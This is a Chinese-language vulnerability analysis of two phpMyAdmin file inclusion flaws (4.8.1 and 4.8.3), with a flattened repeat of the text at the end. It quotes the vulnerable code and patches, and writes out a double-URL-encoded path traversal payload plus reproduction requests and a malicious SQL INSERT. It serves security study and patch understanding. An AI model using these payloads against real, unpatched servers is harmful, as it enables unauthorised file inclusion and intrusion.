phpMyAdmin 文件包含复现分析
字数 1187 2025-08-27 12:33:31

phpMyAdmin 文件包含漏洞分析与复现

前言

本文详细分析phpMyAdmin旧版本中的两个文件包含漏洞,包括4.8.1版本的文件包含漏洞和4.8.3版本依然存在的另一个文件包含漏洞。

4.8.1 文件包含漏洞

漏洞分析

漏洞触发点在index.phptarget参数,相关代码如下:

$target_blacklist = array (
    'import.php', 'export.php'
);

if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

绕过条件分析:

  1. target不能为空
  2. target是字符串类型
  3. target不能以index开头
  4. target不能是$target_blacklist里的值
  5. 通过Core::checkPageValidity检查

关键函数checkPageValidity分析:

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist; // 包含白名单数组
    }

    // 检查1:直接在白名单中
    if (in_array($page, $whitelist)) {
        return true;
    }

    // 检查2:取问号前部分在白名单中
    $_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
    if (in_array($_page, $whitelist)) {
        return true;
    }

    // 检查3:URL解码后取问号前部分在白名单中
    $_page = urldecode($page);
    $_page = mb_substr($_page, 0, mb_strpos($_page . '?', '?'));
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

漏洞利用

利用第三种检查方式,构造payload:

index.php?target=db_sql.php%253F/../../../../../../../../../../../../a.txt

原理:

  1. 浏览器解码一次:%253F%3F
  2. 服务器urldecode:%3F?
  3. 检查问号前部分db_sql.php在白名单中
  4. include允许%3F作为文件名的一部分

补丁分析

修复方式是在checkPageValidity函数调用时增加第三个参数true

if ($include === true) {
    return false;
}

这样就不会执行到urldecode部分。

4.8.3 文件包含漏洞

漏洞复现步骤

  1. 创建一个数据库(如ceshi1)
  2. 访问:
    /chk_rel.php?fixall_pmadb=1&db=ceshi1
    
    这会在数据库中创建一些数据表
  3. pma__column_info表中插入恶意数据:
    INSERT INTO `pma__column_info`(`id`, `db_name`, `table_name`, `column_name`, `comment`, `mimetype`, `transformation`, `transformation_options`, `input_transformation`, `input_transformation_options`) 
    VALUES (1,"2","3","4","5","6","7","8","../../../../../../../../a.txt","10");
    
  4. 触发漏洞:
    /tbl_replace.php?fields_name[multi_edit][abcd][]=4&where_clause[abcd]=junk&table=3&db=2
    

漏洞分析

  1. 初始化阶段

    • 访问chk_rel.php设置$_SESSION['relation'][$GLOBALS['server']]['db']为我们的数据库
    • 创建必要的表结构
  2. 数据控制

    • 通过INSERT语句控制input_transformation字段值为恶意路径
  3. 漏洞触发

    • tbl_replace.php中通过以下代码包含文件:
      $filename = 'libraries/classes/Plugins/Transformations/'
                 . $mime_map[$column_name]['input_transformation'];
      if (is_file($filename)) {
          include_once $filename;
      }
      
    • $mime_map来自Transformations::getMIME()的查询结果
    • 通过控制GET参数fields_namewhere_clause来指定$column_name
  4. SQL查询

    SELECT `column_name`, `input_transformation` 
    FROM `ceshi1`.`pma__column_info` 
    WHERE `db_name` = '2' AND `table_name` = '3'
    
    • 查询的数据库和表名来自SESSION
    • WHERE条件中的db_name和table_name来自GET参数

补丁分析

在4.8.4版本中直接删除了包含漏洞的代码段。

参考链接

  1. https://www.exploit-db.com/exploits/44928
  2. https://blog.scrt.ch/2018/12/14/phpmyadmin-multiple-vulnerabilities/

总结

这两个漏洞展示了phpMyAdmin中不同的文件包含方式:

  1. 第一个漏洞利用URL解析特性绕过白名单检查
  2. 第二个漏洞通过控制数据库内容和参数实现文件包含

修复方式也各有特点:

  1. 第一个通过修改函数调用方式限制检查流程
  2. 第二个直接移除危险代码
phpMyAdmin 文件包含漏洞分析与复现 前言 本文详细分析phpMyAdmin旧版本中的两个文件包含漏洞,包括4.8.1版本的文件包含漏洞和4.8.3版本依然存在的另一个文件包含漏洞。 4.8.1 文件包含漏洞 漏洞分析 漏洞触发点在 index.php 的 target 参数,相关代码如下: 绕过条件分析: target不能为空 target是字符串类型 target不能以index开头 target不能是$target_ blacklist里的值 通过Core::checkPageValidity检查 关键函数 checkPageValidity 分析: 漏洞利用 利用第三种检查方式,构造payload: 原理: 浏览器解码一次: %253F → %3F 服务器urldecode: %3F → ? 检查问号前部分 db_sql.php 在白名单中 include允许 %3F 作为文件名的一部分 补丁分析 修复方式是在 checkPageValidity 函数调用时增加第三个参数 true : 这样就不会执行到urldecode部分。 4.8.3 文件包含漏洞 漏洞复现步骤 创建一个数据库(如ceshi1) 访问: 这会在数据库中创建一些数据表 在 pma__column_info 表中插入恶意数据: 触发漏洞: 漏洞分析 初始化阶段 : 访问 chk_rel.php 设置 $_SESSION['relation'][$GLOBALS['server']]['db'] 为我们的数据库 创建必要的表结构 数据控制 : 通过INSERT语句控制 input_transformation 字段值为恶意路径 漏洞触发 : tbl_replace.php 中通过以下代码包含文件: $mime_map 来自 Transformations::getMIME() 的查询结果 通过控制GET参数 fields_name 和 where_clause 来指定 $column_name SQL查询 : 查询的数据库和表名来自SESSION WHERE条件中的db_ name和table_ name来自GET参数 补丁分析 在4.8.4版本中直接删除了包含漏洞的代码段。 参考链接 https://www.exploit-db.com/exploits/44928 https://blog.scrt.ch/2018/12/14/phpmyadmin-multiple-vulnerabilities/ 总结 这两个漏洞展示了phpMyAdmin中不同的文件包含方式: 第一个漏洞利用URL解析特性绕过白名单检查 第二个漏洞通过控制数据库内容和参数实现文件包含 修复方式也各有特点: 第一个通过修改函数调用方式限制检查流程 第二个直接移除危险代码